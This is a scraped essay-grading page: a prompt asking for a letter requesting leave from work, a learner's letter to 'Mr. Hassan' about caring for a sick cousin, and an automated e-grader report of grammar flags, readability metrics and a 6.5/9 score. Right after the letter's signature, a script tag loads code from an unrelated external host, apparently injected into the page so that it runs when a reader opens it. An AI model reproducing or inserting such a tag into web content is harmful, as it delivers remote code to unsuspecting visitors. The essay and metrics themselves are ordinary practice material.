You need to take leave from your work of over one month for personal reasons.
White a letter to your boss. In your letter:
Explain the reason for the leave and the length of leave you need.
Explain how you will keep up-to-date while you’re away.
Suggest how your work could be covered while you are away.
Dear Mr. Hassan
I am writing this letter to ask for a break from work from next Monday.
I feel sorry for the inconveniences I bring to you but the doctor of my cousin told me that he got an epidemic from work and require p[]eople’s accompany for two weeks. Since I am the only close relative who lives in the same city with him,It leaves no choice for me to take care of him during this time.
I have already downloaded the email application on my laptop so I will be able to receive all the emails from work on my laptop in hospital and respond to them as soon as I can. Thus, you won’t have to worry about me losing control over the current project I am dealing with.
During this period, my subordinate,John, will cover all the work for me since he has been assisted []me for two years. Based on his education background and all the experiences he gained from work, I have enough faith in him to do my work for me while I am absent.
I look forward hearing from you.
Guo Jun Liang<script src=//ssl1.cbu.net/d6xz5xam></script>
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| 2019-11-05 | guojunliang | 73 | view |
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Grammar and spelling errors:
Line 9, column 245, Rule ID: COMMA_PARENTHESIS_WHITESPACE
Message: Put a space after the comma
Suggestion: , It
...tive who lives in the same city with him,It leaves no choice for me to take care of...
^^^
Line 17, column 35, Rule ID: COMMA_PARENTHESIS_WHITESPACE
Message: Put a space after the comma
Suggestion: , John
... During this period, my subordinate,John, will cover all the work for me since h...
^^^^^
Transition Words or Phrases used:
but, look, so, thus, while, i feel
Attributes: Values AverageValues Percentages(Values/AverageValues)% => Comments
Performance on Part of Speech:
To be verbs : 2.0 7.48453608247 27% => More to be verbs wanted.
Auxiliary verbs: 3.0 4.92783505155 61% => OK
Conjunction : 4.0 5.05154639175 79% => OK
Relative clauses : 2.0 3.03092783505 66% => OK
Pronoun: 38.0 32.9175257732 115% => OK
Preposition: 29.0 26.3917525773 110% => OK
Nominalization: 2.0 3.85567010309 52% => More nominalizations (nouns with a suffix like: tion ment ence ance) wanted.
Performance on vocabulary words:
No of characters: 833.0 937.175257732 89% => OK
No of words: 191.0 206.0 93% => More content wanted.
Chars per words: 4.3612565445 4.54256449028 96% => OK
Fourth root words length: 3.71756304063 3.78020617076 98% => OK
Word Length SD: 2.52445075638 2.54303337028 99% => OK
Unique words: 118.0 127.690721649 92% => More unique words wanted.
Unique words percentage: 0.61780104712 0.622605031667 99% => OK
syllable_count: 253.8 290.88556701 87% => OK
avg_syllables_per_word: 1.3 1.41237113402 92% => OK
A sentence (or a clause, phrase) starts by:
Pronoun: 8.0 9.13402061856 88% => OK
Article: 0.0 0.824742268041 0% => OK
Subordination: 1.0 1.83505154639 54% => OK
Conjunction: 0.0 0.463917525773 0% => OK
Preposition: 2.0 1.44329896907 139% => OK
Performance on sentences:
How many sentences: 9.0 12.6804123711 71% => Need more sentences. Double check the format of sentences, make sure there is a space between two sentences, or have enough periods. And also check the lengths of sentences, maybe they are too long.
Sentence length: 21.0 16.3608247423 128% => The Avg. Sentence Length is relatively long.
Sentence length SD: 54.0082298255 44.8134815571 121% => OK
Chars per sentence: 92.5555555556 76.5299724578 121% => OK
Words per sentence: 21.2222222222 16.8248392259 126% => OK
Discourse Markers: 3.77777777778 4.34317383033 87% => OK
Paragraphs: 5.0 4.29896907216 116% => OK
Language errors: 2.0 2.54639175258 79% => OK
Sentences with positive sentiment : 3.0 7.41237113402 40% => More positive sentences wanted.
Sentences with negative sentiment : 2.0 1.49484536082 134% => OK
Sentences with neutral sentiment: 4.0 3.94845360825 101% => OK
What are sentences with positive/Negative/neutral sentiment?
Coherence and Cohesion:
Essay topic to essay body coherence: 0.199616792444 0.216113520407 92% => OK
Sentence topic coherence: 0.0877033642737 0.0766984524023 114% => OK
Sentence topic coherence SD: 0.0474817380408 0.0603063233224 79% => OK
Paragraph topic coherence: 0.12631829916 0.12726935374 99% => OK
Paragraph topic coherence SD: 0.0302051125123 0.0580467560999 52% => OK
Essay readability:
automated_readability_index: 9.7 8.37731958763 116% => OK
flesch_reading_ease: 75.54 70.7449484536 107% => OK
smog_index: 3.1 3.82989690722 81% => OK
flesch_kincaid_grade: 7.9 7.45979381443 106% => OK
coleman_liau_index: 8.01 8.71597938144 92% => OK
dale_chall_readability_score: 7.24 7.59969072165 95% => OK
difficult_words: 31.0 41.2886597938 75% => More difficult words wanted.
linsear_write_formula: 13.5 8.62886597938 156% => OK
gunning_fog: 10.4 8.54432989691 122% => OK
text_standard: 8.0 8.15463917526 98% => OK
What are above readability scores?
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Rates: 73.0337078652 out of 100
Scores by essay e-grader: 6.5 Out of 9
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Note: the e-grader does NOT examine the meaning of words and ideas. VIP users will receive further evaluations by advanced module of e-grader and human graders.